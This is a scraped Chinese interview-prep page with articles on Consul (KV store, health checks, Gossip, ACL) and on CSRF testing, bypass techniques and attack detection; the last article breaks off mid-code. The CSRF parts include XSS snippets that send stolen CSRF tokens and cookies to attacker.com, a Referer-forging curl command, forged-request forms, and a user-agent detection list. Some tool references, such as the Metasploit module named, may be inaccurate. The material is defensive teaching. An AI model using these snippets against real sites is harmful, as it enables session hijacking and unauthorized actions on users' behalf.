乐闻世界logo
搜索文章和话题

服务端面试题手册

Consul 的键值存储(KV Store)有哪些应用场景?如何使用

Consul 的键值存储(KV Store)是一个功能强大的分布式配置中心,提供了动态配置管理、服务协调、领导选举等功能。基本概念Consul KV Store 是一个类似 etcd 的分布式键值存储系统,具有以下特点:分布式:数据在多个 Consul Server 节点间复制强一致性:通过 Raft 协议保证数据一致性层级结构:支持类似文件系统的层级键结构原子操作:支持事务和原子操作版本控制:每个键都有版本号和修改时间CLI 操作基本读写操作# 设置键值consul kv put config/app/name "myapp"# 获取键值consul kv get config/app/name# 获取键值详细信息consul kv get -detailed config/app/name# 删除键consul kv delete config/app/name# 递归删除consul kv delete -recurse config/列出和查询# 列出所有键consul kv get -recurse# 列出指定前缀的键consul kv get -recurse config/# 导出所有键值consul kv export > backup.json# 导入键值consul kv import < backup.jsonHTTP API 操作基本操作# 设置键值curl -X PUT -d "value" http://localhost:8500/v1/kv/config/app/name# 获取键值curl http://localhost:8500/v1/kv/config/app/name# 删除键curl -X DELETE http://localhost:8500/v1/kv/config/app/name# 递归获取curl http://localhost:8500/v1/kv/config/?recurse=true高级操作# CAS(Compare-And-Set)操作curl -X PUT -d "newvalue" \ http://localhost:8500/v1/kv/config/app/name?cas=10# 获取键的元数据curl http://localhost:8500/v1/kv/config/app/name?keys=true# 获取指定索引之后的数据curl http://localhost:8500/v1/kv/config/?recurse=true&index=100应用场景1. 动态配置管理# 存储应用配置consul kv put config/app/database/host "localhost"consul kv put config/app/database/port "5432"consul kv put config/app/database/user "admin"# 应用启动时读取配置curl http://localhost:8500/v1/kv/config/app/database/host?raw2. 服务协调分布式锁:# 获取锁consul kv put -acquire lock/service1 "owner1"# 释放锁consul kv put -release lock/service1 "owner1"# 设置锁超时consul kv put -acquire -ttl=30s lock/service1 "owner1"领导选举:# 参与选举consul kv put -acquire leader/election "node1"# 检查当前领导者consul kv get leader/election3. 特性开关# 启用新功能consul kv put features/new_feature "true"# 读取特性开关curl http://localhost:8500/v1/kv/features/new_feature?raw4. 服务元数据# 存储服务元数据consul kv put metadata/service1/version "1.0.0"consul kv put metadata/service1/deploy_time "2024-01-01"Watch 机制Consul KV 支持 Watch 机制,可以监听键值变化:# 监听键变化consul watch -type=key -key=config/app/name /bin/cat# 监听前缀变化consul watch -type=keyprefix -prefix=config/ /bin/cat事务操作Consul 支持原子性的事务操作:{ "KV": [ { "Verb": "set", "Key": "config/app/host", "Value": "aGVsbG8=" }, { "Verb": "set", "Key": "config/app/port", "Value": "ODA4MA==" } ]}curl -X PUT -d @transaction.json http://localhost:8500/v1/txnACL 权限控制Consul KV 支持 ACL(Access Control List)进行权限控制:# 创建策略consul acl policy create -name kv-policy -rules @kv-policy.hcl# kv-policy.hcl 内容key_prefix "config/" { policy = "read"}key_prefix "secrets/" { policy = "deny"}最佳实践1. 键命名规范# 使用层级结构config/{service}/{environment}/{key}metadata/{service}/{key}locks/{resource}/{id}2. 数据版本管理# 使用版本号config/app/v1/database/hostconfig/app/v2/database/host# 使用时间戳config/app/20240101/database/host3. 数据备份# 定期备份consul kv export > backup_$(date +%Y%m%d).json# 恢复数据consul kv import < backup_20240101.json4. 监控和告警# 监控键值变化consul watch -type=key -key=secrets/ /usr/local/bin/alert.sh与其他工具集成Spring Cloud Consul@RefreshScope@RestControllerpublic class ConfigController { @Value("${app.name}") private String appName; @GetMapping("/config") public String getConfig() { return appName; }}Go Consul SDKkv := client.KV()pair, _, err := kv.Get("config/app/name", nil)if err != nil { log.Fatal(err)}fmt.Printf("Value: %s\n", string(pair.Value))Consul KV Store 是一个简单而强大的分布式配置中心,适合各种微服务架构的配置管理需求。
阅读 0·2月21日 16:12

Consul 的健康检查机制有哪些类型?如何配置和使用健康检查

Consul 的健康检查机制是确保服务可用性的关键功能,它通过多种检查方式监控服务状态,并在服务不可用时及时通知。健康检查类型1. Script 检查通过执行脚本或命令来检查服务健康状态:{ "check": { "id": "script-check", "name": "Script Health Check", "args": ["/usr/local/bin/check_script.sh"], "interval": "10s", "timeout": "5s" }}脚本返回 0 表示健康,非 0 表示不健康。2. HTTP 检查通过 HTTP 请求检查服务端点:{ "check": { "id": "http-check", "name": "HTTP Health Check", "http": "http://localhost:8080/health", "method": "GET", "header": { "Authorization": ["Bearer token"] }, "interval": "10s", "timeout": "5s", "tls_skip_verify": false }}HTTP 状态码 2xx 表示健康,其他表示不健康。3. TCP 检查通过 TCP 连接检查服务端口:{ "check": { "id": "tcp-check", "name": "TCP Health Check", "tcp": "localhost:3306", "interval": "10s", "timeout": "5s" }}成功建立连接表示健康。4. gRPC 检查通过 gRPC 调用检查服务:{ "check": { "id": "grpc-check", "name": "gRPC Health Check", "grpc": "localhost:9090", "grpc_use_tls": true, "interval": "10s", "timeout": "5s" }}5. Docker 检查检查 Docker 容器状态:{ "check": { "id": "docker-check", "name": "Docker Health Check", "docker_container_id": "abc123", "shell": "/bin/bash", "script": "curl -s http://localhost:8080/health", "interval": "10s" }}6. TTL 检查基于 TTL(Time To Live)的检查,服务需要定期更新状态:{ "check": { "id": "ttl-check", "name": "TTL Health Check", "ttl": "30s" }}服务需要定期调用 API 更新状态:curl -X PUT http://localhost:8500/v1/agent/check/pass/ttl-check健康检查状态Consul 定义了以下健康状态:passing:健康,服务正常运行warning:警告,服务可能有问题但仍可用critical:严重,服务不可用maintenance:维护模式,服务暂时不可用检查参数配置核心参数interval:检查间隔时间,如 "10s"、"1m"timeout:检查超时时间failuresbeforecritical:连续失败多少次后标记为 criticalsuccessesbeforepassing:连续成功多少次后标记为 passingderegistercriticalservice_after:服务 critical 多久后自动注销高级参数{ "check": { "id": "advanced-check", "name": "Advanced Health Check", "http": "http://localhost:8080/health", "interval": "10s", "timeout": "5s", "failures_before_critical": 3, "successes_before_passing": 2, "deregister_critical_service_after": "5m", "status": "passing", "notes": "Custom health check" }}服务级健康检查健康检查可以与服务注册绑定:{ "service": { "name": "web", "port": 8080, "check": { "id": "web-check", "http": "http://localhost:8080/health", "interval": "10s" } }}多个健康检查一个服务可以有多个健康检查:{ "service": { "name": "web", "port": 8080, "checks": [ { "id": "web-http", "http": "http://localhost:8080/health", "interval": "10s" }, { "id": "web-disk", "script": "/usr/local/bin/check_disk.sh", "interval": "30s" } ] }}健康检查 API查询健康检查# 查询所有检查curl http://localhost:8500/v1/health/state/any# 查询 passing 状态的检查curl http://localhost:8500/v1/health/state/passing# 查询特定服务的检查curl http://localhost:8500/v1/health/checks/web手动更新检查状态# 标记为 passingcurl -X PUT http://localhost:8500/v1/agent/check/pass/ttl-check# 标记为 warningcurl -X PUT http://localhost:8500/v1/agent/check/warn/ttl-check# 标记为 criticalcurl -X PUT http://localhost:8500/v1/agent/check/fail/ttl-check最佳实践合理设置检查间隔:太频繁会增加负载,太长会影响故障检测速度设置适当的超时时间:避免因网络延迟导致误判使用多个检查:从不同角度验证服务健康状态配置故障阈值:避免因临时故障频繁切换状态监控检查本身:确保健康检查机制正常工作故障处理当服务健康检查失败时:自动注销:服务从服务列表中移除负载均衡调整:流量不再路由到不健康的服务告警通知:可以通过 Consul Watch 或外部监控系统触发告警自动恢复:服务恢复后自动重新注册Consul 的健康检查机制灵活且强大,能够满足各种场景下的服务监控需求。
阅读 0·2月21日 16:12

Consul 的 Gossip 协议是如何工作的?请解释其原理和配置方法

Consul 的 Gossip 协议是其分布式架构的核心组件,负责节点间的状态同步和故障检测,基于 SWIM(Scalable Weakly-consistent Infection-style Process Group Membership)协议实现。Gossip 协议概述Gossip 协议是一种去中心化的通信协议,通过节点间的随机通信传播信息。Consul 使用 Gossip 协议实现:成员发现:自动发现集群中的其他节点故障检测:快速检测节点故障状态传播:传播服务状态和配置信息反熵:保持节点间数据一致性协议类型LAN GossipLAN Gossip 用于同一数据中心内的节点通信:# LAN Gossip 配置bind_addr = "0.0.0.0"advertise_addr = "10.0.0.1"client_addr = "127.0.0.1"retry_join = ["10.0.0.2", "10.0.0.3"]特点:高频通信(每秒多次)低延迟(毫秒级)带宽消耗较大快速故障检测WAN GossipWAN Gossip 用于跨数据中心的 Server 节点通信:# WAN Gossip 配置retry_join_wan = ["10.0.1.4", "10.0.1.5"]advertise_addr_wan = "203.0.113.1"特点:低频通信(每分钟几次)高延迟(秒级)带宽消耗较小适用于跨地域部署工作原理1. 成员发现节点启动时通过以下方式发现其他节点:# 通过配置文件指定retry_join = ["10.0.0.2", "10.0.0.3"]# 通过云提供商自动发现retry_join = ["provider=aws tag_key=consul tag_value=server"]# 通过 DNS 发现retry_join = ["provider=dns server=consul.example.com"]2. Gossip 消息传播Gossip 协议使用两种传播方式:Push 模式节点主动向其他节点推送消息:Node A → Node B → Node C ↓ ↓Node D → Node EPull 模式节点从其他节点拉取消息:Node A ← Node B ← Node C ↑ ↑Node D ← Node EPush-Pull 混合模式结合 Push 和 Pull 的优势:Node A ↔ Node B ↔ Node C ↔ ↔Node D ↔ Node E3. 故障检测Consul 使用 SWIM 协议的故障检测机制:// 伪代码:故障检测func (g *Gossip) detectFailure() { for _, member := range g.members { if time.Since(member.LastPing) > g.suspicionTimeout { g.markSuspect(member) } if time.Since(member.LastPing) > g.failureTimeout { g.markFailed(member) } }}检测阶段:Ping:向目标节点发送 Ping 消息Indirect Ping:如果 Ping 失败,请求其他节点间接 PingSuspect:标记为可疑状态Confirm:确认节点故障Recover:节点恢复后重新加入4. 反熵机制定期同步节点状态,确保数据一致性:# 配置反熵间隔gossip_interval = "200ms"gossip_to_dead_time = "30s"配置参数基本配置# Gossip 协议配置bind_addr = "0.0.0.0"advertise_addr = "10.0.0.1"client_addr = "127.0.0.1"# 节点发现retry_join = ["10.0.0.2", "10.0.0.3"]retry_join_wan = ["10.0.1.4", "10.0.1.5"]# Gossip 参数gossip_interval = "200ms"gossip_to_dead_time = "30s"高级配置# 故障检测disable_remote_exec = falsedisable_update_check = false# 性能调优reconnect_timeout = "30s"reconnect_timeout_wan = "1m"# 加密encrypt = "base64-encoded-key"encrypt_verify_incoming = trueencrypt_verify_outgoing = true监控和调试查看成员状态# 查看所有成员consul members# 查看详细信息consul members -detailed# 查看 WAN 成员consul members -wan# 查看特定节点consul members -status=alive监控指标# 查看 Gossip 相关指标curl http://localhost:8500/v1/agent/metrics | grep memberlist# 关键指标:# - memberlist.gossip.accept: 接收的 Gossip 消息数# - memberlist.gossip.reject: 拒绝的 Gossip 消息数# - memberlist.msg.suspect: 可疑节点数# - memberlist.msg.alive: 活跃节点数日志分析# 查看 Gossip 日志journalctl -u consul | grep "memberlist"# 调试模式consul agent -dev -log-level=debug性能优化减少网络开销# 调整 Gossip 间隔gossip_interval = "500ms"# 减少间接 Ping 数量indirect_checks = 2优化故障检测# 调整超时时间suspicion_mult = 4ping_timeout = "5s"使用 UDP 优化# 启用 UDPbind_addr = "0.0.0.0"advertise_addr = "10.0.0.1"故障处理节点故障检测故障:通过 Gossip 协议检测标记状态:标记为 failed移除节点:从成员列表中移除重新加入:节点恢复后重新加入网络分区分区检测:检测到网络分区多数派继续:多数派节点继续服务少数派停止:少数派节点停止写入分区恢复:分区恢复后重新同步节点重启状态恢复:从持久化数据恢复重新加入:通过 Gossip 重新加入集群状态同步:同步最新状态最佳实践1. 合理配置 Gossip 间隔# 小规模集群(< 100 节点)gossip_interval = "200ms"# 大规模集群(> 100 节点)gossip_interval = "500ms"2. 使用静态 IP# 避免使用动态 IPadvertise_addr = "10.0.0.1"3. 启用加密# 生产环境必须启用加密encrypt = "base64-encoded-key"encrypt_verify_incoming = trueencrypt_verify_outgoing = true4. 监控 Gossip 延迟# 定期检查 Gossip 延迟consul rtt5. 合理设置超时# 根据网络环境调整ping_timeout = "5s"suspicion_mult = 4与其他协议对比| 特性 | Gossip | Raft | HTTP API ||------|--------|------|----------|| 用途 | 成员管理、故障检测 | 一致性协议 | 客户端通信 || 延迟 | 低 | 中 | 高 || 可靠性 | 最终一致 | 强一致 | 取决于实现 || 扩展性 | 高 | 中 | 低 || 带宽消耗 | 高 | 中 | 低 |Consul 的 Gossip 协议是其高可用性和可扩展性的基础,通过高效的节点间通信实现了快速的服务发现和故障检测。
阅读 0·2月21日 16:12

Consul 的 ACL(访问控制列表)如何工作?如何配置和管理 ACL 策略

Consul 的 ACL(Access Control List)系统提供了细粒度的访问控制,确保只有授权的用户和服务才能访问 Consul 资源。ACL 系统概述Consul ACL 是基于令牌(Token)的访问控制系统,包含以下核心概念:Token(令牌):用于身份验证的密钥Policy(策略):定义访问权限的规则集合Role(角色):策略的集合,便于管理Auth Method(认证方法):外部系统集成方式Binding(绑定):将策略与令牌关联ACL 配置启用 ACL# consul.hclacl = { enabled = true default_policy = "deny" # 默认拒绝所有访问 down_policy = "extend-cache" # Server 不可用时的策略 enable_token_persistence = true}配置参数说明enabled:是否启用 ACLdefault_policy:默认策略(deny、read、write)down_policy:Server 不可用时的策略(extend-cache、deny、allow)enabletokenpersistence:是否持久化令牌Token 管理Token 类型Management Token(管理令牌):拥有所有权限,类似 root 用户Client Token(客户端令牌):普通服务使用的令牌Anonymous Token(匿名令牌):未提供令牌时的默认令牌创建 Management Token# 启动时创建consul acl bootstrap# 输出示例Accessor ID: 00000000-0000-0000-0000-000000000001Secret ID: 5e4b6e3c-8b7a-4c2d-9e5f-1a2b3c4d5e6f创建 Client Token# 创建策略consul acl policy create -name web-service -rules @web-service.hcl# 创建令牌consul acl token create -description "Web Service Token" -policy-name web-servicePolicy 策略Policy 语法# 策略文件示例# web-service.hclservice_prefix "web" { policy = "write"}service_prefix "" { policy = "read"}key_prefix "config/web" { policy = "write"}node_prefix "" { policy = "read"}Policy 规则类型Service 规则# 特定服务service "web" { policy = "write"}# 服务前缀service_prefix "web" { policy = "write"}# 所有服务service_prefix "" { policy = "read"}KV 规则# 特定键key "config/web/database" { policy = "write"}# 键前缀key_prefix "config/web" { policy = "write"}# 所有键key_prefix "" { policy = "read"}Node 规则# 特定节点node "node1" { policy = "write"}# 节点前缀node_prefix "web" { policy = "write"}# 所有节点node_prefix "" { policy = "read"}Agent 规则agent_prefix "" { policy = "read"}agent "node1" { policy = "write"}Policy 权限级别deny:拒绝访问read:只读访问write:读写访问Role 角色创建 Role# 创建角色consul acl role create -name web-admin -description "Web Service Admin"# 为角色添加策略consul acl role update -name web-admin -policy-name web-service使用 Role 创建 Token# 使用角色创建令牌consul acl token create -description "Web Admin Token" -role-name web-adminAuth Method 认证方法Kubernetes 认证# 创建 Kubernetes 认证方法consul acl auth-method create -name kubernetes -type kubernetes \ -config @k8s-config.json// k8s-config.json{ "Host": "https://kubernetes.default.svc", "CACert": "-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----", "ServiceAccountJWT": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."}JWT 认证# 创建 JWT 认证方法consul acl auth-method create -name jwt -type jwt \ -config @jwt-config.json// jwt-config.json{ "BoundAudiences": ["consul"], "ClaimMappings": { "sub": "Name" }, "JWTValidationPubKeys": ["-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----"]}Token 使用配置 Agent Token# consul.hclacl = { enabled = true tokens = { master = "5e4b6e3c-8b7a-4c2d-9e5f-1a2b3c4d5e6f" agent = "7f5c7d4d-9c8b-5d3e-0f6g-2b3c4d5e6f7g" default = "8g6d8e5e-0d9c-6e4f-1g7h-3c4d5e6f7g8h" }}API 使用 Token# 使用 Token 查询服务curl -H "X-Consul-Token: 5e4b6e3c-8b7a-4c2d-9e5f-1a2b3c4d5e6f" \ http://localhost:8500/v1/catalog/services# 使用 Token 注册服务curl -X PUT -H "X-Consul-Token: 5e4b6e3c-8b7a-4c2d-9e5f-1a2b3c4d5e6f" \ -d '{"ID": "web1", "Name": "web", "Port": 8080}' \ http://localhost:8500/v1/agent/service/register环境变量# 设置环境变量export CONSUL_HTTP_TOKEN=5e4b6e3c-8b7a-4c2d-9e5f-1a2b3c4d5e6f# 使用环境变量consul catalog services最佳实践1. 最小权限原则# 只授予必要的权限service "web" { policy = "write"}key_prefix "config/web" { policy = "read"}2. 使用 Role 管理# 创建不同角色的策略consul acl role create -name read-onlyconsul acl role create -name write-onlyconsul acl role create -name admin3. Token 定期轮换# 创建新令牌consul acl token create -policy-name web-service# 更新应用配置使用新令牌# 删除旧令牌consul acl token delete -id <old-token-id>4. 使用 ACL Replication# 配置 ACL 复制acl = { enabled = true tokens = { replication = "5e4b6e3c-8b7a-4c2d-9e5f-1a2b3c4d5e6f" }}监控和审计审计日志# 启用审计日志audit { enabled = true sink "file" { path = "/var/log/consul/audit.log" format = "json" }}监控 ACL 指标# 查看 ACL 相关指标curl http://localhost:8500/v1/agent/metrics | grep acl故障排查常见问题Permission Denied:检查 Token 权限Token Expired:更新 TokenACL Not Enabled:检查配置调试命令# 验证 Token 权限consul acl token read -accessor <accessor-id># 测试策略consul acl policy read -name web-serviceConsul ACL 提供了强大的访问控制能力,是保障 Consul 集群安全的重要组件。合理配置 ACL 可以有效防止未授权访问和数据泄露。
阅读 0·2月21日 16:12

如何测试和验证 CSRF 防护措施的有效性?

CSRF 攻击的测试和验证是确保防护措施有效性的重要环节,通过系统化的测试可以发现潜在的安全漏洞。CSRF 攻击测试方法1. 手动测试基本测试步骤准备测试环境:登录目标应用打开浏览器开发者工具记录 Cookie 和 Session 信息构造恶意请求:<!-- 测试页面 --><!DOCTYPE html><html><head> <title>CSRF Test</title></head><body> <h1>CSRF Attack Test</h1> <form id="csrfForm" action="https://target-site.com/api/transfer" method="POST"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="100"> </form> <button onclick="document.getElementById('csrfForm').submit()">Test CSRF</button></body></html>验证攻击结果:检查请求是否成功查看服务器响应确认是否执行了恶意操作2. 自动化测试使用 Burp Suite# Burp Suite CSRF Token 检测脚本from burp import IBurpExtenderfrom burp import IHttpListenerclass BurpExtender(IBurpExtender, IHttpListener): def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.registerHttpListener(self) def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): if messageIsRequest: request = messageInfo.getRequest() analyzedRequest = self._helpers.analyzeRequest(request) # 检查是否缺少 CSRF Token headers = analyzedRequest.getHeaders() hasCSRFToken = any('csrf' in header.lower() for header in headers) if not hasCSRFToken and analyzedRequest.getMethod() in ['POST', 'PUT', 'DELETE']: print(f"Potential CSRF vulnerability: {analyzedRequest.getUrl()}")使用 OWASP ZAP# 使用 OWASP ZAP 进行 CSRF 扫描zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \ --spider -r csrf_report.html https://target-site.com3. 单元测试CSRF Token 验证测试// Jest 测试示例describe('CSRF Protection', () => { let app; let csrfToken; beforeAll(async () => { app = require('./app'); // 获取 CSRF Token const response = await request(app).get('/api/csrf-token'); csrfToken = response.body.csrfToken; }); test('应该拒绝没有 CSRF Token 的 POST 请求', async () => { const response = await request(app) .post('/api/submit') .send({ data: 'test' }); expect(response.status).toBe(403); expect(response.body.error).toContain('CSRF'); }); test('应该拒绝无效的 CSRF Token', async () => { const response = await request(app) .post('/api/submit') .set('X-CSRF-Token', 'invalid-token') .send({ data: 'test' }); expect(response.status).toBe(403); }); test('应该接受有效的 CSRF Token', async () => { const response = await request(app) .post('/api/submit') .set('X-CSRF-Token', csrfToken) .send({ data: 'test' }); expect(response.status).toBe(200); });});4. 集成测试端到端 CSRF 测试// Cypress 测试示例describe('CSRF Protection E2E', () => { beforeEach(() => { cy.login('testuser', 'password'); }); it('应该防止跨站请求伪造', () => { // 访问恶意网站模拟页面 cy.visit('http://malicious-site.com/csrf-test.html'); // 点击触发 CSRF 攻击的按钮 cy.get('button').click(); // 验证请求被阻止 cy.on('window:alert', (str) => { expect(str).to.include('forbidden'); }); }); it('应该允许同站请求', () => { cy.visit('/protected-page'); // 获取 CSRF Token cy.get('meta[name="csrf-token"]').should('have.attr', 'content'); // 提交表单 cy.get('form').submit(); // 验证请求成功 cy.contains('Success').should('be.visible'); });});防护措施验证1. CSRF Token 验证// 验证 CSRF Token 的实现function validateCSRFTokenImplementation(app) { const tests = [ { name: 'Token 应该是随机且不可预测的', test: async () => { const tokens = []; for (let i = 0; i < 100; i++) { const response = await request(app).get('/api/csrf-token'); tokens.push(response.body.csrfToken); } const uniqueTokens = new Set(tokens); return uniqueTokens.size === 100; } }, { name: 'Token 应该有足够的长度', test: async () => { const response = await request(app).get('/api/csrf-token'); return response.body.csrfToken.length >= 32; } }, { name: 'Token 应该有时效性', test: async () => { const response1 = await request(app).get('/api/csrf-token'); const token1 = response1.body.csrfToken; // 等待 Token 过期 await new Promise(resolve => setTimeout(resolve, 3600000)); const response2 = await request(app).get('/api/csrf-token'); const token2 = response2.body.csrfToken; return token1 !== token2; } } ]; return Promise.all(tests.map(async test => { const result = await test.test(); console.log(`${test.name}: ${result ? 'PASS' : 'FAIL'}`); return result; }));}2. SameSite Cookie 验证// 验证 SameSite Cookie 设置function validateSameSiteCookie(response) { const cookies = response.headers['set-cookie']; if (!cookies) { return false; } return cookies.some(cookie => { return cookie.includes('SameSite=') && (cookie.includes('SameSite=Strict') || cookie.includes('SameSite=Lax')); });}3. Referer 头验证// 验证 Referer 头检查async function testRefererValidation(app) { // 测试没有 Referer 的请求 const response1 = await request(app) .post('/api/submit') .set('Referer', '') .send({ data: 'test' }); if (response1.status !== 403) { console.log('FAIL: Should reject requests without Referer'); return false; } // 测试无效的 Referer const response2 = await request(app) .post('/api/submit') .set('Referer', 'https://malicious-site.com') .send({ data: 'test' }); if (response2.status !== 403) { console.log('FAIL: Should reject requests with invalid Referer'); return false; } // 测试有效的 Referer const response3 = await request(app) .post('/api/submit') .set('Referer', 'https://target-site.com') .send({ data: 'test' }); if (response3.status === 403) { console.log('FAIL: Should accept requests with valid Referer'); return false; } console.log('PASS: Referer validation working correctly'); return true;}渗透测试工具1. 使用 Metasploit# 使用 Metasploit 的 CSRF 模块msfconsoleuse auxiliary/http/csrf_testset RHOSTS target-site.comset RPORT 443set SSL trueexploit2. 使用 CSRFTester# CSRFTester 工具使用java -jar CSRFTester.jar# 导出测试报告测试报告测试报告模板# CSRF 安全测试报告## 测试概述- 测试日期: 2024-01-15- 测试人员: Security Team- 测试范围: Web Application## 测试方法1. 手动测试2. 自动化扫描3. 代码审查4. 渗透测试## 测试结果### 发现的漏洞| 漏洞类型 | 严重程度 | 状态 ||---------|---------|------|| 缺少 CSRF Token | 高 | 已修复 || SameSite Cookie 未设置 | 中 | 已修复 || Referer 验证缺失 | 中 | 待修复 |### 防护措施验证- CSRF Token: ✅ 通过- SameSite Cookie: ✅ 通过- Referer 验证: ⚠️ 部分通过- 双重提交 Cookie: ❌ 未实施## 建议1. 实施双重提交 Cookie2. 加强 Referer 验证3. 定期进行安全测试CSRF 攻击测试应该作为安全开发生命周期(SDLC)的一部分,定期进行以确保防护措施的有效性。
阅读 0·2月21日 16:11

CSRF 攻击的绕过技术有哪些,如何防范这些绕过?

CSRF 攻击的绕过技术是安全研究人员和攻击者不断探索的领域,了解这些技术有助于更好地设计和实施防护措施。常见的 CSRF 防护绕过技术1. 绕过 CSRF Token 验证1.1 Token 泄露// 通过 XSS 窃取 CSRF Token<script> // 获取页面中的 CSRF Token const token = document.querySelector('input[name="csrf_token"]').value; // 发送到攻击者服务器 fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({ csrf_token: token }) });</script>防护措施:实施 HttpOnly Cookie使用 Content Security Policy (CSP)对 Token 进行加密签名1.2 Token 预测// 弱随机数生成器导致的 Token 可预测function weakCSRFToken() { // 使用时间戳作为随机源 return Date.now().toString(36);}// 攻击者可以预测下一个 Tokenconst predictedToken = (Date.now() + 1000).toString(36);防护措施:使用加密安全的随机数生成器Token 长度至少 128 位包含用户会话信息2. 绕过 SameSite Cookie2.1 SameSite=None 滥用// 服务器错误设置 SameSite=Noneres.cookie('sessionId', sessionId, { sameSite: 'none', secure: false // 缺少 secure 属性});// 攻击者可以利用此漏洞发起 CSRF 攻击防护措施:SameSite=None 必须配合 secure=true使用 HTTPS避免不必要的 SameSite=None2.2 浏览器兼容性问题// 检测浏览器是否支持 SameSitefunction checkSameSiteSupport() { const testCookie = 'test=1; SameSite=Strict'; document.cookie = testCookie; return document.cookie.includes('test');}// 旧版浏览器不支持 SameSite,需要其他防护措施if (!checkSameSiteSupport()) { // 使用 CSRF Token 等其他防护措施}3. 绕过 Referer 验证3.1 Referer 头伪造# 使用 curl 伪造 Referer 头curl -X POST https://target-site.com/api/submit \ -H "Referer: https://target-site.com/" \ -d "data=test"防护措施:Referer 验证仅作为辅助措施结合 CSRF Token 使用验证 Origin 头3.2 Referer 头缺失// 某些情况下 Referer 头可能为空const scenarios = [ 'HTTPS 到 HTTP 的请求', '隐私插件阻止 Referer', '直接输入 URL', '书签访问'];// 服务器应该正确处理这些情况4. 绕过双重提交 Cookie4.1 子域名攻击// 如果 Cookie 设置在父域名上res.cookie('csrfToken', token, { domain: '.example.com' // 包含所有子域名});// 子域名存在 XSS 漏洞时,可以窃取 Token// evil.example.com 上的恶意脚本可以读取 Cookie防护措施:避免在父域名设置敏感 Cookie使用更严格的域名设置子域名隔离4.2 Cookie 窃取// 通过 XSS 窃取 Cookie<script> const cookies = document.cookie; fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify({ cookies }) });</script>防护措施:使用 HttpOnly Cookie实施 CSP定期更新 Token5. 高级绕过技术5.1 Flash CSRF// Flash 可以绕过某些浏览器安全限制// 即使设置了 SameSite=Strictvar request:URLRequest = new URLRequest("https://target-site.com/api/submit");request.method = URLRequestMethod.POST;var variables:URLVariables = new URLVariables();variables.data = "test";request.data = variables;navigateToURL(request, "_self");防护措施:禁用 Flash使用 X-Frame-Options实施 CSP5.2 JSONP CSRF// 利用 JSONP 端点发起 CSRF 攻击<script> function callback(data) { // 恶意代码 console.log(data); }</script><script src="https://target-site.com/api/jsonp?callback=callback"></script>防护措施:避免使用 JSONP使用 CORS 替代 JSONP验证请求来源5.3 DNS Rebinding// DNS Rebinding 可以绕过同源策略// 攻击者控制 DNS 服务器,使域名在不同时间解析到不同 IP// 1. 第一次解析到攻击者服务器// 2. 第二次解析到目标服务器// 3. 绕过同源策略限制防护措施:使用 HTTPS验证 Host 头实施 DNSSEC6. 防护绕过的检测// 检测可能的绕过尝试function detectBypassAttempts(req) { const suspicious = { // 检测异常的 User-Agent unusualUserAgent: /bot|crawler|spider/i.test(req.headers['user-agent']), // 检测缺少 Referer 的 POST 请求 missingReferer: req.method === 'POST' && !req.headers.referer, // 检测异常的请求频率 rapidRequests: checkRequestFrequency(req.ip), // 检测可疑的 Origin suspiciousOrigin: req.headers.origin && !isTrustedOrigin(req.headers.origin) }; return suspicious;}防护最佳实践1. 多层防护// 实施多层防护措施function comprehensiveCSRFProtection(req, res, next) { // 第一层:SameSite Cookie if (!validateSameSite(req)) { return res.status(403).send('Invalid SameSite'); } // 第二层:CSRF Token if (!validateCSRFToken(req)) { return res.status(403).send('Invalid CSRF Token'); } // 第三层:Referer 验证 if (!validateReferer(req)) { return res.status(403).send('Invalid Referer'); } // 第四层:Origin 验证 if (!validateOrigin(req)) { return res.status(403).send('Invalid Origin'); } next();}2. 安全配置// 安全的 Cookie 配置res.cookie('sessionId', sessionId, { httpOnly: true, // 防止 XSS 窃取 secure: true, // 仅 HTTPS sameSite: 'strict', // 最严格的 CSRF 防护 domain: 'example.com', // 具体域名,不使用父域名 path: '/', // 限制路径 maxAge: 3600000 // 合理的过期时间});3. 定期安全审计// 安全审计检查清单const securityAudit = { csrfToken: { isRandom: true, isLongEnough: true, hasExpiration: true, isEncrypted: false }, cookieSettings: { httpOnly: true, secure: true, sameSite: 'strict' }, validation: { refererCheck: true, originCheck: true, tokenValidation: true }};了解 CSRF 攻击的绕过技术有助于设计更强大的防护措施,但重要的是记住安全是一个持续的过程,需要不断更新和改进防护策略。
阅读 0·2月21日 16:11

如何检测和记录 CSRF 攻击,有哪些监控策略?

CSRF 攻击检测和日志记录是安全防护的重要组成部分,能够帮助及时发现攻击行为、分析攻击模式并改进防护策略。CSRF 攻击检测方法1. 请求模式分析// 检测异常请求模式class CSRFAttackDetector { constructor() { this.requestHistory = new Map(); this.suspiciousPatterns = []; } analyzeRequest(req) { const userId = req.user?.id; const ip = req.ip; const userAgent = req.headers['user-agent']; const referer = req.headers.referer; const origin = req.headers.origin; // 检测可疑模式 const suspicious = { missingReferer: !referer && req.method !== 'GET', mismatchedOrigin: origin && referer && this.extractDomain(origin) !== this.extractDomain(referer), rapidRequests: this.checkRapidRequests(userId, ip), unusualUserAgent: this.checkUnusualUserAgent(userAgent), suspiciousReferer: this.checkSuspiciousReferer(referer) }; return suspicious; } extractDomain(url) { try { return new URL(url).hostname; } catch { return null; } } checkRapidRequests(userId, ip) { const key = `${userId}-${ip}`; const now = Date.now(); const history = this.requestHistory.get(key) || []; // 检查最近 10 秒内的请求数量 const recentRequests = history.filter(time => now - time < 10000); this.requestHistory.set(key, [...recentRequests, now]); return recentRequests.length > 20; // 阈值 } checkUnusualUserAgent(userAgent) { // 检测自动化工具的特征 const suspiciousPatterns = [ /bot/i, /crawler/i, /spider/i, /curl/i, /wget/i ]; return suspiciousPatterns.some(pattern => pattern.test(userAgent)); } checkSuspiciousReferer(referer) { if (!referer) return false; // 已知的恶意域名列表 const maliciousDomains = [ 'malicious-site.com', 'evil-attacker.net' ]; const domain = this.extractDomain(referer); return maliciousDomains.includes(domain); }}2. 行为分析// 用户行为分析class BehaviorAnalyzer { constructor() { this.userProfiles = new Map(); } analyzeUserBehavior(userId, req) { const profile = this.userProfiles.get(userId) || this.createProfile(userId); // 更新用户行为数据 profile.requestCount++; profile.lastActivity = Date.now(); profile.requestTypes[req.method] = 